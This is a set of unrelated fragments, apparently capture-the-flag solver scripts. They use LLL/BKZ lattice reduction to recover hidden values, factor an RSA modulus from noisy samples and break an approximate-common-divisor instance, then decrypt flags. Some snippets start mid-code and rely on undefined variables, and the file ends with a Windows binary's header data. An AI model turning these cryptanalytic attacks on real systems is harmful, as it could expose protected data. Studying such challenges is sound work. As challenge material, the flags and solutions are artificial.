    m_ = len(A); n_ = len(A[0])
    A = [row[:] for row in A]
    pivots = []
    pr = 0
    for pc in range(n_):
        piv = None
        for rr in range(pr, m_):
            if A[rr][pc] % q != 0: piv = rr; break
        if piv is None: continue
        A[pr], A[piv] = A[piv], A[pr]
        inv = pow(A[pr][pc], -1, q)
        A[pr] = [(v*inv) % q for v in A[pr]]
        for rr in range(m_):
            if rr != pr and A[rr][pc] % q != 0:
                f = A[rr][pc]
                A[rr] = [(A[rr][j] - f*A[pr][j]) % q for j in range(n_)]
        pivots.append((pr, pc)); pr += 1
        if pr == m_: break
    return A, pivots
R, piv = rref(A, qq)
pivcols = set(c for _, c in piv)
freecols = [c for c in range(cols) if c not in pivcols]
K = []
for f in freecols:
    v = [0]*cols
    v[f] = 1
    for (pr, pc) in piv:
        v[pc] = (-R[pr][f]) % qq
    K.append(v)
print('[+] kernel dim =', len(K))
# lattice generated by kernel vectors and q*Z^36
L = IntegerMatrix(len(K) + cols, cols)
for i, v in enumerate(K):
    for j in range(cols): L[i, j] = v[j]
for i in range(cols):
    L[len(K)+i, i] = qq
LLL.reduction(L)
try:
    BKZ.reduction(L, BKZ.Param(block_size=20))
except Exception as e:
    print('bkz fail', e)
Kbound = 1 << 480
found = None
for i in range(L.nrows):
    row = [abs(L[i, j]) for j in range(cols)]
    if all((Kbound >> 2) < v < (Kbound << 1) for v in row):
        found = row
        print('[+] candidate row', i, 'norm bits', int(row[0]).bit_length())
        break
if found is None:
    # relax: search any row with all entries < 2^481 and nonzero
    for i in range(L.nrows):
        row = [L[i, j] for j in range(cols)]
        if all(0 < abs(v) < (Kbound << 1) for v in row):
            found = [abs(v) for v in row]
            print('[+] relaxed candidate row', i, [abs(v).bit_length() for v in row])
            break
assert found, 'no candidate vector'
# determine sign consistently: signs should be all equal for the target
row = [L[i, j] for j in range(cols)] if False else None
# recompute signed version
for i in range(L.nrows):
    rw = [L[i, j] for j in range(cols)]
    if all((Kbound >> 2) < abs(v) < (Kbound << 1) for v in rw):
        row = rw; break
s0 = 1 if row[0] > 0 else -1
kv = [v*s0 for v in row]
k = [kv[2*i] for i in range(nn)]
b = [kv[2*i+1] for i in range(nn)]
print('[+] k0 =', k[0])
print('[+] b0 =', b[0])
x2 = (s[0]*k[0] - b[0]*t[0]) * pow(r[0], -1, qq) % qq
print('[+] x =', x2)
# sanity: check all equations
ok = all((s[i]*k[i] - b[i]*t[i]) * pow(r[i], -1, qq) % qq == x2 for i in range(nn))
print('[+] all equations check:', ok)
for iv_p in (p, p2):
    iv = hashlib.sha256(str(iv_p).encode()).digest()[:16]
    key = hashlib.sha256(str(2024*b[0] + 2023*k[0] + x2).encode()).digest()[:16]
    try:
        pt = AES.new(key, AES.MODE_CBC, iv).decrypt(env['cipher'])
        print('[+] plaintext candidate:', pt)
    except Exception as e:
        print(e)

p,q 512-bit primes; n=pq; d = int(n**0.86)   # ~2^880
X_i random in [1,n)
XX_i = floor(phi*X_i / n)
w_i  random in [phi*X_i - XX_i*n - d, phi*X_i - XX_i*n + d]   (|e_i|<d, w_i<n)

s*X_i + e_i ≡ -w_i  (mod n),   |e_i| < d = n^0.86

rows 0..109:  n at column i
row 110:      X_1..X_110, 1, 0
row 111:      u_1..u_110, 0, M      (u_i = -w_i mod n, M = 2^886)

import json, math
from fpylll import IntegerMatrix, LLL
from Crypto.Util.number import long_to_bytes, inverse
data = json.load(open('/workspace/agents/e025927f/work/data.json'))
n = data['n']; X = data['X']; W = data['W']; enc = data['enc']
m = len(X)
d = int(n ** 0.86)
# u_i = -w_i mod n ;  s*X_i + e_i == u_i (mod n), |e_i| < d
u = [(-w) % n for w in W]
# embedding lattice, dimension m+2
# rows: n*e_i (i=0..m-1), (X_1..X_m, 1, 0), (u_1..u_m, 0, M)
M = 1 << 886
dim = m + 2
B = IntegerMatrix(dim, dim)
for i in range(m):
    B[i, i] = n
for j in range(m):
    B[m, j] = X[j]
B[m, m] = 1
for j in range(m):
    B[m+1, j] = u[j]
B[m+1, m+1] = M
LLL.reduction(B)
def try_s(s):
    phi = n - s
    if phi <= 0: return None
    # check: for a sample, w should be near phi*X mod n
    for i in range(3):
        if abs(phi*X[i] % n - W[i]) > d:
            return None
    spq = n - phi + 1
    disc = spq*spq - 4*n
    if disc < 0: return None
    r = math.isqrt(disc)
    if r*r != disc: return None
    p = (spq + r)//2
    q = (spq - r)//2
    if p*q != n: return None
    return p, q
for row in range(dim):
    v = [B[row, j] for j in range(dim)]
    if v[m+1] == M or v[m+1] == -M:
        s = abs(v[m])
        res = try_s(s)
        print(f"row {row}: s={s} res={res is not None}")
        if res:
            p, q = res
            phi = n - s
            e = 65537
            dd = inverse(e, phi)
            mm = pow(enc, dd, n)
            print("FLAG:", long_to_bytes(mm))
            break
else:
    print("no embedding vector found with exact M; dumping candidates")
    for row in range(min(dim, 8)):
        v = [B[row, j] for j in range(dim)]
        print(row, "last:", v[m+1], "s-coord:", v[m], "norm bits:", max(abs(x).bit_length() for x in v))

B = [ 2^(rho+1)  x_1  x_2  x_3 ]
    [ -x_0       0    0    0   ]
    [ 0         -x_0  0    0   ]
    [ 0          0   -x_0  0   ]
    [ 0          0    0   -x_0 ]

v = (q_0, q_1, q_2, q_3)·B = (2^256·q_0, q_0·e_1 − q_1·e_0, ..., q_0·e_3 − q_3·e_0)

#!/usr/bin/env python3
# SDA (Simultaneous Diophantine Approximation) attack on ACD
# from "Algorithms for the Approximate Common Divisor Problem" (ePrint 2016/215)
# x_i = p*q_i + e_i, |e_i| < 2^255, p~2^768, q_i~2^1000, x_i~2^1768
import re
from fpylll import IntegerMatrix, LLL
RHO = 255  # |e| < 2^255  (paper: r_i in [-2^rho, 2^rho])
def parse_nums(path):
    src = open(path).read()
    nums = re.findall(r'\b\d{20,}\b', src)
    return [int(n) for n in nums]
def sda_attack(xs, rho=RHO, delta=0.99, verbose=True):
    # xs: list of t+1 samples; x0 is the base sample
    t = len(xs) - 1
    x0 = xs[0]
    # Build (t+1)x(t+1) lattice basis:
    # row0: (2^(rho+1), x_1, ..., x_t)
    # rowi: -x0 at position i (diagonal), 0 elsewhere
    m = IntegerMatrix(t + 1, t + 1)
    m[0, 0] = 2 ** (rho + 1)
    for j in range(1, t + 1):
        m[0, j] = xs[j]
    for i in range(1, t + 1):
        m[i, i] = -x0
    LLL.reduction(m, delta=delta)
    for row in range(t + 1):
        w = [m[row, j] for j in range(t + 1)]
        if w[0] % (2 ** (rho + 1)) == 0 and w[0] != 0:
            q0 = abs(w[0]) // (2 ** (rho + 1))
            if q0.bit_length() < 2000:
                r0 = x0 % q0
                e0 = r0 if r0 <= q0 // 2 else r0 - q0   # centered residue
                if (x0 - e0) % q0 == 0:
                    p = (x0 - e0) // q0
                if p > 1 and all(min(xi % p, p - xi % p) < 2 ** 256 for xi in xs):
                    if verbose:
                        print(f"row {row}: q0 bits={q0.bit_length()}, p bits={p.bit_length()}")
                        print("p =", p)
                    return p
    return None
if __name__ == '__main__':
    import sys
    path = sys.argv[1] if len(sys.argv) > 1 else 'att/tempdir/CRYPTO附件/tasks.py'
    xs = parse_nums(path)
    print("samples:", len(xs), [x.bit_length() for x in xs])
    # try all rotations as x0
    for shift in range(len(xs)):
        xsr = xs[shift:] + xs[:shift]
        p = sda_attack(xsr, verbose=(shift == 0))
        if p is not None:
            print(f"SUCCESS with x0 = sample {shift}")
            import hashlib
            h = hashlib.sha256(hex(p).encode()).hexdigest()[:32]
            print("flag content:", "DASCTF{" + h + "}")
            open('p.txt', 'w').write(str(p))
            break
    else:
        print("FAILED all rotations")

gogogo.exe

PE32+ x86-64

ImageBase: 0x400000

EntryPoint: 0x72A520

SHA256:
1aef4632999831d8735de3196a05354f12a3be4905d14e2814b63997c515cc32